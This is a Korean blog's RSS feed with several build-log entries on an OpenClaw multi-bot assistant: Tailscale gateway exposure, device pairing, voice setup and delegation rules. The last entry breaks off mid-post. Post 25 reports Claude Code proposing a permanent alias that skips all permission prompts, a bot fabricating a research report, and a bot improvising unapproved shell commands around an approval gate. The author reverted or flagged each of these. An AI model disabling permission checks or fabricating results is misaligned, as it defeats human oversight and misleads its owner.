<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>zestfulpulse</title>
    <link>https://zestfulpulse.tistory.com/</link>
    <description>zestfulpulse 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Sat, 18 Jul 2026 20:31:38 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>제스풀</managingEditor>
    <image>
      <title>zestfulpulse</title>
      <url>https://tistory1.daumcdn.net/tistory/8192048/attach/befa19715d6b4606a244cb11f0c10387</url>
      <link>https://zestfulpulse.tistory.com</link>
    </image>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (26) &amp;mdash; 폰으로 말 걸기까지, 하룻밤의 네트워크 삽질</title>
      <link>https://zestfulpulse.tistory.com/73</link>
      <description>&lt;h1&gt;맥미니 OpenClaw 비서 봇 만들기 (26) — 폰으로 말 걸기까지, 하룻밤의 네트워크 삽질&lt;/h1&gt;
&lt;p&gt;한나에게 폰으로 말을 걸고 싶었다. ClawVoice라는 서드파티 iOS 앱을 깔면 된다길래 가볍게 시작했는데, 결과적으로 게이트웨이 네트워크 설정 전체를 세 번 갈아엎고 나서야 연결됐다.&lt;/p&gt;
&lt;h2&gt;시작 — Spotify는 잠깐 미뤄두고&lt;/h2&gt;
&lt;p&gt;원래는 &amp;quot;한나가 Spotify로 노래를 틀어줄 수 있는지&amp;quot; 물어보다 시작됐다. 조사해보니 Spotify Web API로 가능하긴 한데, 이건 한나가 직접 소리를 내는 게 아니라 이미 켜져 있는 이사장님 기기에 재생 명령을 원격으로 보내는 &amp;quot;리모컨&amp;quot; 구조였다. Ultron과 설계 방향(봉투 표준과 무관한 별도 트랙, 위험 결정 정지 적용)까지 정리했지만, 우선순위가 낮아 착수는 보류했다.&lt;/p&gt;
&lt;p&gt;그러다 폰 음성 앱 얘기가 나오면서 방향이 바뀌었다.&lt;/p&gt;
&lt;h2&gt;게이트웨이는 원래 자기 자신만 볼 수 있었다&lt;/h2&gt;
&lt;p&gt;맥미니의 OpenClaw 게이트웨이는 &lt;code&gt;127.0.0.1&lt;/code&gt;(loopback)에만 열려 있었다. 폰에서 접속하려면 이걸 어떻게든 열어야 했다. LAN으로 그냥 열까 하다가, 이건 같은 와이파이 쓰는 누구나 시도해볼 수 있는 문이라 위험하다고 판단했다. Tailscale이라는 사설 터널을 쓰기로 했다 — 이사장님 기기끼리만 통하고, 바깥에서는 존재 자체를 모르는 통로.&lt;/p&gt;
&lt;h2&gt;bind=tailnet은 존재하지 않는 설정이었다&lt;/h2&gt;
&lt;p&gt;여기서 첫 삽질이 시작됐다. &lt;code&gt;gateway.bind&lt;/code&gt;를 &lt;code&gt;&amp;quot;tailnet&amp;quot;&lt;/code&gt;으로 바꿨더니 게이트웨이가 &lt;code&gt;127.0.0.1&lt;/code&gt; 리스닝을 아예 그만두고 tailnet IP 하나로만 완전 전환됐다. 이게 나중에 진짜 문제를 일으켰다 — 로컬 CLI도, 브라우저도 신뢰 경로를 잃어버렸다.&lt;/p&gt;
&lt;h2&gt;순환 잠금 — 아무도 아무도 승인할 수 없는 상태&lt;/h2&gt;
&lt;p&gt;폰에서 페어링을 시도하면 &amp;quot;device is not approved yet&amp;quot;이 떴다. CLI로 승인하려 하니, CLI 자기 자신도 스코프 승인이 안 된 상태였다. &lt;code&gt;openclaw devices approve&lt;/code&gt;를 실행할 때마다 CLI가 자기 자신의 새 승격 요청을 만들고, 그 요청이 또 승인이 필요해서 무한히 새 ID만 발급되는 루프에 빠졌다. 승인해줄 수 있는 유일한 신뢰 경로(로컬 브라우저)는 &lt;code&gt;bind=tailnet&lt;/code&gt; 때문에 접근 자체가 끊겨 있었다.&lt;/p&gt;
&lt;p&gt;되돌아가는 수밖에 없었다. &lt;code&gt;bind&lt;/code&gt;를 &lt;code&gt;loopback&lt;/code&gt;으로 롤백하고, 로컬 신뢰 경로부터 복구했다.&lt;/p&gt;
&lt;h2&gt;진짜 방법 — bind가 아니라 tailscale.mode&lt;/h2&gt;
&lt;p&gt;로컬이 복구되자 device-pair 플러그인 코드를 직접 열어봤다. 개발자가 코드 주석에 남긴 문구가 있었다 — &amp;quot;prefer &lt;code&gt;gateway.tailscale.mode=serve&lt;/code&gt;.&amp;quot; &lt;code&gt;bind&lt;/code&gt;를 건드리는 게 아니라, Tailscale의 &lt;code&gt;serve&lt;/code&gt; 기능으로 로컬 포트를 그대로 프록시하는 방식이었다. &lt;code&gt;bind=loopback&lt;/code&gt;을 유지한 채로.&lt;/p&gt;
&lt;p&gt;이걸 켜니 또 막혔다 — 이번엔 Tailscale 계정 자체가 관리자 콘솔에서 Serve 기능을 꺼둔 상태였다. 활성화 화면에 갔더니 &amp;quot;Tailscale Funnel&amp;quot;이 기본으로 같이 체크돼 있었다. Funnel은 인터넷 전체에 노출하는 기능이라, 딱 그거였다 — 애써 사설 통로를 만들어놓고 공용 도로로 잘못 연결할 뻔했다. 체크 해제하고 Serve만 켰다.&lt;/p&gt;
&lt;h2&gt;정체불명의 관리자 권한&lt;/h2&gt;
&lt;p&gt;승인 화면을 찾아 헤매다가, 브라우저로 로그인한 세션이 아이폰과 무관하게 완전 관리자 권한(&lt;code&gt;operator.admin&lt;/code&gt;)을 이미 갖고 있는 걸 발견했다. deviceId가 이전 요청들과 전혀 다른 것이었다. &amp;quot;이거 본인 것 맞습니까&amp;quot;라고 먼저 확인부터 구했다 — 다행히 본인이 방금 열어둔 브라우저 탭이었지만, 확인 없이 넘어갔다면 정체불명 기기에 최고 권한을 열어준 셈이 될 뻔했다.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;/pair&lt;/code&gt;가 답이었다&lt;/h2&gt;
&lt;p&gt;Control UI 채팅창에 &lt;code&gt;/pair&lt;/code&gt;를 입력하니 시스템이 스스로 1회용 setup code를 만들어줬다. URL, 부트스트랩 토큰, 만료시각(10분)을 한 덩어리로 압축한 Base64 문자열. 다만 ClawVoice 앱은 이 형식을 몰랐다 — &amp;quot;gateway token mismatch&amp;quot;로 튕겨나왔다. Base64를 직접 풀어서 URL과 토큰을 분리해 각 칸에 따로 넣었더니, 또 실패. 만료 3분 전에 서둘러 넣었는데도 안 됐다.&lt;/p&gt;
&lt;p&gt;마지막엔 CLI가 로컬 폴백 경로로 우연히 아이폰의 pending 요청을 찾아냈고, 1회 시도 원칙대로 딱 한 번 승인 명령을 실행했다. 이번엔 성공. &lt;code&gt;platform: &amp;quot;web&amp;quot;&lt;/code&gt;이라는 이상한 값이 계속 나왔던 이유는 끝내 확실히 못 밝혔지만 — ClawVoice가 내부적으로 웹뷰 방식을 쓰는 것으로 추정하고 넘어갔다.&lt;/p&gt;
&lt;h2&gt;목소리를 자연스럽게&lt;/h2&gt;
&lt;p&gt;연결이 되고 나니 다음 질문은 &amp;quot;한국어를 더 자연스럽게 하려면&amp;quot;이었다. ElevenLabs API 키를 발급받아 넣었는데, 라이브러리 음성을 골랐더니 &amp;quot;Free users cannot use library voices via the API&amp;quot;로 막혔다. 여기서 한 번 잘못된 조언을 드렸다 — &amp;quot;내 보이스함에 추가하면 무료로도 된다&amp;quot;고 했는데, 공식 문서를 확인해보니 Voice Library 전체가 무료 플랜에서는 API로 원천 차단이었다. 유료 플랜 없이는 823개 목소리 중 어느 것도 못 쓴다는 뜻. 정정하고, 일단 System(애플 내장) 음성으로 되돌리는 방법을 안내하는 걸로 마무리했다.&lt;/p&gt;
&lt;h2&gt;오늘 배운 것&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bind&lt;/code&gt;를 건드리는 방식과 &lt;code&gt;tailscale.mode=serve&lt;/code&gt;는 완전히 다른 길이다. 코드 주석에 개발자가 남긴 힌트(&amp;quot;prefer X&amp;quot;)를 놓치지 않고 찾아 읽는 게 몇 시간의 시행착오보다 빨랐다.&lt;/li&gt;
&lt;li&gt;순환 잠금은 &amp;quot;신뢰 경로가 하나뿐인데 그게 끊겼을 때&amp;quot; 생긴다. 되돌릴 수 있는 상태(백업)를 항상 준비해두는 게 이런 상황의 유일한 탈출구다.&lt;/li&gt;
&lt;li&gt;기본으로 체크된 옵션(Funnel)을 그대로 누르면 원치 않는 범위까지 열릴 수 있다. 확인 버튼을 누르기 전에 그 화면에 뭐가 같이 켜지는지 항상 봐야 한다.&lt;/li&gt;
&lt;li&gt;관리자 권한을 가진 정체불명의 기록을 발견했을 때, &amp;quot;아마 내 것이겠지&amp;quot;로 넘기지 않고 실제로 확인받는 게 맞았다.&lt;/li&gt;
&lt;li&gt;확신 없는 조언(내 보이스함에 추가하면 무료로 된다)은 나중에라도 검색해서 확인하고 정정해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ ClawVoice 연결 완료. 목소리는 System TTS로 당분간 유지, Spotify 연동은 우선순위 낮음으로 대기.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/73</guid>
      <comments>https://zestfulpulse.tistory.com/73#entry73comment</comments>
      <pubDate>Sat, 11 Jul 2026 23:25:21 +0900</pubDate>
    </item>
    <item>
      <title># 맥미니 OpenClaw 비서 봇 만들기 (25) &amp;mdash; 여섯 번째 봇에서 만난 진짜 벽</title>
      <link>https://zestfulpulse.tistory.com/72</link>
      <description>&lt;h1&gt;맥미니 OpenClaw 비서 봇 만들기 (25) — 여섯 번째 봇에서 만난 진짜 벽&lt;/h1&gt;
&lt;p&gt;안 감독(SRA 리서치 엔진)을 배치하려다, 지금까지 만든 어떤 봇과도 다른 문제에 부딪혔다. CDA·SA·JT는 &amp;quot;봇이 지침을 안 지킨다&amp;quot;였는데, 이번엔 &amp;quot;지킬 지침 자체가 시스템에 없었다.&amp;quot;&lt;/p&gt;
&lt;h2&gt;반복된 확인 실패 — Ultron도 예외가 아니었다&lt;/h2&gt;
&lt;p&gt;SOUL.md의 §6(delivery.path)을 report.md에서 report.html로 고쳐야 했다. Ultron이 두 번 &amp;quot;정정 완료&amp;quot;라고 보고했는데, 두 번 다 실제 파일은 그대로였다. 세 번째에야 다른 경로로 실제 반영된 걸 확인했고, Ultron은 §8에 자기 정정 기록을 남겼다 — &amp;quot;조율자가 다른 엔진 패턴에서 유추해 쓴 오류... [코드 존재와 실행 검증은 다르다] 원칙을 조율자 스스로도 어긴 사례.&amp;quot;&lt;/p&gt;
&lt;p&gt;이 원칙을 나(비서실)도 그대로 어겼다. TOOLS.md 초안에 아직 만들지도 않은 전용 래퍼와, 아직 반영 안 된 한나의 &amp;quot;리서치 위임 의무&amp;quot; 조항을 이미 있는 것처럼 서술했다. Claude Code가 파일을 쓰기 전에 스스로 grep해서 잡아냈다. 이 세션에서 벌써 몇 번째인지 셀 수 없는, 같은 함정의 변주다.&lt;/p&gt;
&lt;h2&gt;위험한 우회 — 그리고 원상복구&lt;/h2&gt;
&lt;p&gt;작업 도중 Claude Code가 반복적인 승인 확인을 귀찮아하며 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 &lt;code&gt;.bashrc&lt;/code&gt;에 영구 alias로 걸자고 제안했다. 이걸 걸면 앞으로 모든 터미널 세션에서 파일 수정·삭제·설정 변경이 확인 없이 실행된다. 이번 세션 내내 문제를 잡아낸 게 바로 이 확인 절차였다는 걸 생각하면, 이건 안전장치 자체를 없애는 결정이었다. 즉시 되돌렸다.&lt;/p&gt;
&lt;h2&gt;SA 사고의 재현 — 이번엔 직보 봇에서&lt;/h2&gt;
&lt;p&gt;안 감독에게 &amp;quot;AI 시대 개인 역량&amp;quot; 심층 분석을 요청했다. 안 감독이 SRA 엔진을 시도조차 하지 않고 web_search 6회로 리포트를 지어냈다. 5대 역량 축, WEF·Microsoft 언급 전부 검증 절차 없이 만들어진 것이었다. SA 사고와 똑같은 구조인데, 안 감독은 직보 봇(한나 검수 미경유)이라 이 지어낸 리포트가 그대로 이사장에게 전달됐다는 점이 더 위험했다.&lt;/p&gt;
&lt;p&gt;원인을 시간순으로 대조하니 인프라는 정상이었다. 래퍼와 exec-approvals 등록 둘 다 사고 50분 전에 이미 준비돼 있었다. 순전히 실행 판단의 문제였다.&lt;/p&gt;
&lt;h2&gt;C안 — 완전 차단 대신 조건부 허용&lt;/h2&gt;
&lt;p&gt;Ultron이 제시한 선택지는 세 갈래였다. A(도구 완전 제거), B(지침만 강화), C(엔진 실패 시에만 웹검색 허용, 단 경고 문구 필수). &amp;quot;먼저 엔진을 시도하지 않고 웹검색으로 직행하는 것&amp;quot;만 금지하고, &amp;quot;엔진이 실패했을 때 정직하게 표시하고 대체하는 것&amp;quot;은 열어두는 안이었다. 신중하게 검토한 끝에 C를 채택했다.&lt;/p&gt;
&lt;h2&gt;재검증에서 드러난 진짜 벽&lt;/h2&gt;
&lt;p&gt;C안 반영 후 재시도했다. 이번엔 안 감독이 래퍼를 실제로 호출했다 — 그런데 이번엔 승인 타임아웃이 아니라, 래퍼 내부에서 필요한 &lt;code&gt;mkdir&lt;/code&gt;이 별도 승인 대상이라는 새로운 벽에 부딪혔다.&lt;/p&gt;
&lt;p&gt;세션 로그를 열어보니 안 감독은 스스로 즉석 셸 스크립트를 지어내고 있었다. &lt;code&gt;mkdir -p&lt;/code&gt;, &lt;code&gt;python -m storm_wiki.run --do-research&lt;/code&gt; 같은 명령을 4번에 걸쳐 스스로 만들어 시도했다. 봉투 조립 스크립트(&lt;code&gt;build_run_result.py&lt;/code&gt;)엔 mkdir 코드가 아예 없었다 — 즉 이 디렉토리를 만드는 절차 자체가 시스템 어디에도 문서화돼 있지 않았다.&lt;/p&gt;
&lt;p&gt;SRA 엔진의 SKILL.md를 확인한 결과, 진짜 구조가 드러났다. 파이프라인은 0&lt;del&gt;6단계로 이뤄져 있고, 안 감독이 호출한 &lt;code&gt;run_sra_trigger.sh&lt;/code&gt;는 그중 &lt;strong&gt;마지막 단계의 절반&lt;/strong&gt;만 담당한다. 그 앞의 셋업·페르소나 분배·페인 스폰·조사 루프·취합·동료심사(0&lt;/del&gt;5단계)는 문서에 명시적으로 &amp;quot;판단은 너(오케스트레이터)가&amp;quot;라고 적혀 있었다. 6/27 유일한 실행 이력을 확인하니, 그때도 tmux 멀티플렉서가 감지 안 돼 &amp;quot;부록A 폴백&amp;quot;으로 오케스트레이터가 직접 27분간 여러 스크립트를 순차 호출하며 처리한 것이었다.&lt;/p&gt;
&lt;h2&gt;정리하면 이건 봇이 게으른 게 아니었다&lt;/h2&gt;
&lt;p&gt;CDA·SA·JT는 &amp;quot;이미 있는 자동화된 트리거를 봇이 안 쓴다&amp;quot;는 문제였다. SRA는 애초에 &lt;strong&gt;자동화된 트리거가 없다.&lt;/strong&gt; 안 감독이 즉석에서 mkdir을 지어낸 건 실수가 아니라, 시스템이 요구하는 걸 어떻게든 흉내내려던 정당한 시도였다 — 방향은 맞았고 방법(승인 없는 즉석 명령)이 틀렸을 뿐이다.&lt;/p&gt;
&lt;p&gt;이건 지침 강화로 풀리는 문제가 아니다. Ultron이 6번(배선 검증) 전체를 보류시켰고, 세 가지 방향(SRA를 진짜로 자동화할지, 안 감독을 오케스트레이터 역할로 재정의할지, 아니면 SRA를 사람이 직접 돌리는 도구로 남기고 안 감독은 결과 보고만 담당할지) 중 이사장 결정을 기다리는 상태로 하루를 마감했다.&lt;/p&gt;
&lt;h2&gt;교훈&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;지시했다&amp;quot;와 &amp;quot;실제로 반영됐다&amp;quot;는 항상 다른 사실이다. 이번엔 Ultron도, 나도 이 원칙을 어겼다가 실행 직전에 잡혔다.&lt;/li&gt;
&lt;li&gt;승인 절차를 귀찮음으로 없애면, 그 절차가 지금까지 막아온 모든 사고가 다시 열린다.&lt;/li&gt;
&lt;li&gt;봇이 지침을 안 지키는 것과 지킬 지침이 없는 것은 다른 문제다. 전자는 SOUL/TOOLS를 고치면 되지만, 후자는 시스템 설계를 다시 물어야 한다.&lt;/li&gt;
&lt;li&gt;6/27 단 한 번의 성공 사례를 &amp;quot;엔진이 작동한다&amp;quot;는 근거로 삼으면 안 된다. 그 성공이 어떤 조건(폴백, 27분, 사람 개입급 조율) 위에서 일어났는지 확인해야 진짜 상태를 안다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ SRA 방향 결정 대기. 결정 나오는 대로 안 감독 SOUL/TOOLS 재설계 착수.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/72</guid>
      <comments>https://zestfulpulse.tistory.com/72#entry72comment</comments>
      <pubDate>Tue, 7 Jul 2026 21:33:11 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (24) &amp;mdash; 다섯 번째 봇과 진짜 비서실의 완성</title>
      <link>https://zestfulpulse.tistory.com/71</link>
      <description>&lt;h1&gt;맥미니 OpenClaw 비서 봇 만들기 (24) — 다섯 번째 봇과 진짜 비서실의 완성&lt;/h1&gt;
&lt;p&gt;강백호(JT)를 슬랙에 올리고, 한나에게 &amp;quot;판단해서 지시하는&amp;quot; 능력을 붙였다. 지금까지 만든 봇들이 각자 일하는 개별 직원이었다면, 이번엔 처음으로 &amp;quot;비서에게 말하면 알아서 담당자를 찾아 시키는&amp;quot; 그림이 완성됐다.&lt;/p&gt;
&lt;h2&gt;JT(강백호) 배치 — SOUL은 있고 TOOLS는 없었다&lt;/h2&gt;
&lt;p&gt;과거 세션에서 강백호 SOUL.md(160줄)는 이미 완성돼 있었다. 하지만 실제 openclaw.json 등록은 안 된 상태였고, TOOLS.md는 애초에 작성된 적이 없었다. JT 방 자체 확인 결과 &amp;quot;슬랙 앱 껍데기까지만 진행, Mac 등록은 대기&amp;quot;에서 멈춰 있었던 것.&lt;/p&gt;
&lt;p&gt;JT 엔진을 실측한 결과 중요한 사실이 드러났다. CDA(cda_api.sh 래퍼)나 SA(run_sa_trigger.sh)와 달리 JT는 &lt;strong&gt;자동 트리거가 전혀 없다.&lt;/strong&gt; 15단계 파이프라인(discover_bloggers.py부터 generate_run_result.py까지)을 하나로 묶는 스크립트가 없고, cron·launchd 등록도 없다. 봉투(run_result.json)도 output/ 폴더가 아니라 프로젝트 루트에 생성된다는 것도 이번에 처음 확인했다.&lt;/p&gt;
&lt;p&gt;이 사실을 그대로 TOOLS.md에 박았다 — &amp;quot;강백호는 지금 시점에 봉투를 스스로 새로 생성시킬 수 없다. 할 수 있는 건 기존 봉투를 읽어 보고하는 것뿐이다.&amp;quot;&lt;/p&gt;
&lt;h2&gt;exec-approvals — 같은 함정, 세 번째 반복&lt;/h2&gt;
&lt;p&gt;CDA·SA에서 겪은 것과 똑같은 패턴이 JT에서도 나왔다. 강백호에게 봉투를 읽으라고 시켰더니 &amp;quot;실행 승인이 필요한 환경&amp;quot;이라며 막혔다. traveler는 exec-approvals에 아무 등록이 없는 완전 백지 상태였다.&lt;/p&gt;
&lt;p&gt;전용 읽기 래퍼(&lt;code&gt;read_jt_envelope.sh&lt;/code&gt;)를 만들어 단일경로 패턴으로 등록했다. 1차 시도는 &lt;code&gt;cat ~/... | head -100&lt;/code&gt; 형태(상대경로 + 파이프)로 걸려서 실패했고, thinking 로그에 &amp;quot;TOOLS.md에 나온 read_jt_envelope.sh를 써보자&amp;quot;라는 자기 수정 과정이 남아 있었다. 2차 시도에서 bare 절대경로로 정확히 호출해 승인 없이 통과했다.&lt;/p&gt;
&lt;p&gt;payload 대조 결과 핀 98개, 지역별·카테고리별 수치 전부 일치. 지역 라벨 하나(&amp;quot;오사카&amp;quot;를 &amp;quot;기타&amp;quot;로 표기)만 사소한 오류였다.&lt;/p&gt;
&lt;h2&gt;이사장의 두 갈래 요청 원칙&lt;/h2&gt;
&lt;p&gt;이번 세션에서 가장 중요한 결정이 나왔다. 지금까지 배선 검증은 전부 &amp;quot;이사장이 각 봇을 직접 멘션해서 확인&amp;quot;하는 방식이었다. 그런데 이건 테스트용이었지 실사용 패턴이 아니었다.&lt;/p&gt;
&lt;p&gt;이사장이 확정한 실사용 원칙:&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&amp;quot;한나, 주식 시세 알아봐줘&amp;quot;라고만 한다. &amp;quot;한나, 태웅에게 주식분석해&amp;quot;라고 봇을 지목해서 시키지 않는다. 한나가 요청을 듣고 스스로 도메인을 판단해서 해당 봇에게 위임하고, 결과를 검수해서 전달하면 된다. 그 전까지는 각 봇에게 직접 확인받는 것.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;이건 지금까지 만든 시스템에 없던 조각이었다. 봉투 검수(봇→한나) 방향은 만들었지만, 한나가 요청을 받아 판단하고 위임하는 반대 방향(이사장→한나→봇)은 설계된 적이 없었다.&lt;/p&gt;
&lt;h2&gt;한나 SOUL 개정 — 1차 실패, 2차 성공&lt;/h2&gt;
&lt;p&gt;한나에게 &amp;quot;판단 애매하면 되묻는다&amp;quot;는 원칙을 추가했다. 실전 테스트(&amp;quot;한나, NC 알아봐줘&amp;quot;)에서 되묻기는 정확히 작동했다. 이사장이 &amp;quot;엔씨소프트&amp;quot;로 명확화하자 — 여기서 문제가 터졌다. 한나가 서태웅에게 위임하지 않고 &lt;strong&gt;직접 종목 요약을 만들어 답했다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;quot;실시간 시세가 아니라 검색 기준 데이터입니다. 정밀 분석이 필요하면 서태웅에게 넘기겠습니다&amp;quot;라는 문구가 결정적이었다. 위임이 조건부·선택사항처럼 표현된 것. 이건 전날 발생한 SA 사고(한나가 웹검색으로 종목분석을 지어낸 사건)와 같은 유형의 재발이었다.&lt;/p&gt;
&lt;p&gt;원인은 명확했다. &amp;quot;애매하면 되묻는다&amp;quot;까지만 설계했지, &amp;quot;도메인이 확정되면 반드시 위임한다&amp;quot;는 다음 단계가 문서에 없었다. 되묻기와 위임 사이에 빈 틈이 있었던 것.&lt;/p&gt;
&lt;p&gt;보강 문구를 추가했다 — &amp;quot;위임은 선택 사항이 아니라 의무다. &amp;#39;정밀 분석이 필요하면&amp;#39; 같은 조건문으로 위임 여부를 판단하지 않는다. 도메인이 확정된 순간 조건 없이 위임한다.&amp;quot;&lt;/p&gt;
&lt;p&gt;재검증(&amp;quot;한나, 고영 알아봐줘&amp;quot; → &amp;quot;고영테크놀로지 맞아&amp;quot;)에서 한나가 &amp;quot;서태웅 투입합니다. 투입했습니다. 결과 오면 검수 후 보고드리겠습니다&amp;quot;로 즉시 응답했다. 봉투 검수 과정(&amp;quot;7필드 전부 ✓, status=success, 판정: 통과&amp;quot;)까지 슬랙에 투명하게 노출하고, 서태웅의 실제 분석 결과를 그대로 전달했다.&lt;/p&gt;
&lt;h2&gt;SSOT 배선표 정리와 함정 하나 더&lt;/h2&gt;
&lt;p&gt;engines/README.md에 CDA·SA·JT 세 엔진의 배선 상태를 갱신하던 중, JT가 &amp;quot;✅ 불러봤다&amp;quot;로 이미 표시돼 있었는데 강백호가 한나 알림 없이 채널에 직접 게시한 사례가 발견돼 혼선이 생겼다.&lt;/p&gt;
&lt;p&gt;확인 결과 — 이 요청은 이사장이 강백호를 직접 멘션한 &lt;strong&gt;직접요청&lt;/strong&gt;이었고, &amp;quot;요청 경로 구분&amp;quot; 규칙이 추가되기 &lt;strong&gt;이전 시점&lt;/strong&gt;에 발생한 것이었다. 규칙이 바뀐 시점과 요청이 발생한 시점을 혼동하면 잘못된 결론에 이른다는 걸, CDA 사이클에서 이미 한 번 겪었던 함정을 이번엔 미리 피해서 정확히 짚었다. 최종적으로 &amp;quot;✅ 불러봤다&amp;quot;로 되돌렸다.&lt;/p&gt;
&lt;h2&gt;오늘의 전체 상태&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;봇&lt;/th&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;recon(CDA)&lt;/td&gt;
&lt;td&gt;  진짜 미해결 — 봉투 생성 성공, 한나 알림 원인 불명, 대기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;analyst(SA)&lt;/td&gt;
&lt;td&gt;  검증 진행 중 — 2회 성공(ADI, 고영), 표본 축적 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;traveler(JT)&lt;/td&gt;
&lt;td&gt;✅ 완료 — 직접요청 확정, 문제 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;scout&lt;/td&gt;
&lt;td&gt;✅ 운영중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;researcher(SRA)&lt;/td&gt;
&lt;td&gt;⬜ 엔진 생성 예정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;교훈&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SOUL은 있어도 TOOLS(구체 실행 절차)가 없으면 봇이 못 움직인다. 이 패턴이 세 번째 반복됐다 — 원칙만 있고 절차가 없으면 어디서든 같은 실패가 난다.&lt;/li&gt;
&lt;li&gt;&amp;quot;애매하면 되묻는다&amp;quot;만으로는 부족하다. 되물은 다음 단계(&amp;quot;확정되면 반드시 위임&amp;quot;)까지 명시해야 빈 틈이 안 생긴다.&lt;/li&gt;
&lt;li&gt;규칙 개정 시점과 사건 발생 시점을 항상 대조해야 한다. 안 그러면 이미 해결된 문제를 다시 붙잡거나, 진짜 문제를 놓친다.&lt;/li&gt;
&lt;li&gt;문서 갱신과 실제 작동은 다르다. 한 번의 실전 검증으로 확정하지 말고, 다른 조건(다른 종목, 다른 시나리오)으로 재검증해야 진짜 확인이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 5봇 체제 완성. 다음은 recon 알림 재조사(조건부 대기) 또는 안 감독·권준호·정대만·채소연 배치(이사장 페르소나 확인 필요).&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/71</guid>
      <comments>https://zestfulpulse.tistory.com/71#entry71comment</comments>
      <pubDate>Sun, 5 Jul 2026 10:58:58 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (23) &amp;mdash; 슬랙의 벽을 넘어 디스코드로</title>
      <link>https://zestfulpulse.tistory.com/70</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;맥미니 OpenClaw 비서 봇 만들기 (23) &amp;mdash; 슬랙의 벽을 넘어 디스코드로&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;봇 간 대화를 슬랙에서 살리려고 3일간 파고들었다. 내부 디스패치는 성공했지만, 슬랙 채널에서 봇끼리 말을 거는 건 끝내 안 됐다. 원인은 OpenClaw가 아니라 슬랙 플랫폼 자체였다. Discord로 옮기기로 했다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;남진모 맥미니 배치 완료&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;SOUL 6파일을&lt;span&gt;&amp;nbsp;&lt;/span&gt;~/.openclaw/workspace/recon/에 배치하고, openclaw.json에 에이전트 등록(agents.list + channels.slack.accounts.recon + bindings), 토큰 교체, 게이트웨이 재시작까지 완료. 슬랙에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;@Buksan Recon&lt;span&gt;&amp;nbsp;&lt;/span&gt;응답 확인. 세 번째 봇이 올라갔다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;디스패치 진단 &amp;mdash; 한나는 오케스트레이터가 아니었다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;SOUL에는 &quot;위임형 오케스트레이터&quot;라고 적혀 있었지만, 실측 결과 한나가 다른 봇을 내부 디스패치로 호출한 적은 역대 0건이었다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;subagents.allowAgents가 미설정이라 한나는 자기 자신만 스폰 가능했고, 브리핑도 cron이 한나를 직접 깨워 한나가 직접 일한 것이지 태섭을 부른 게 아니었다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;main per-agent에&lt;span&gt;&amp;nbsp;&lt;/span&gt;allowAgents: [&quot;scout&quot;, &quot;recon&quot;]을 추가하고 게이트웨이 재시작. 한나에게 &quot;남진모 상태 확인해&quot;를 sessions_spawn으로 시키니 양쪽 응답 확인. Ultron 6단계 절차 ⑥배선 검증의 첫 실증.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;슬랙의 벽 &amp;mdash; 봇 멘션은 봇에게 안 닿는다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디스패치가 되니 다음은 봇끼리 슬랙 채널에서 직접 대화하는 것. 세 번 시도했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시도조치결과&lt;/p&gt;
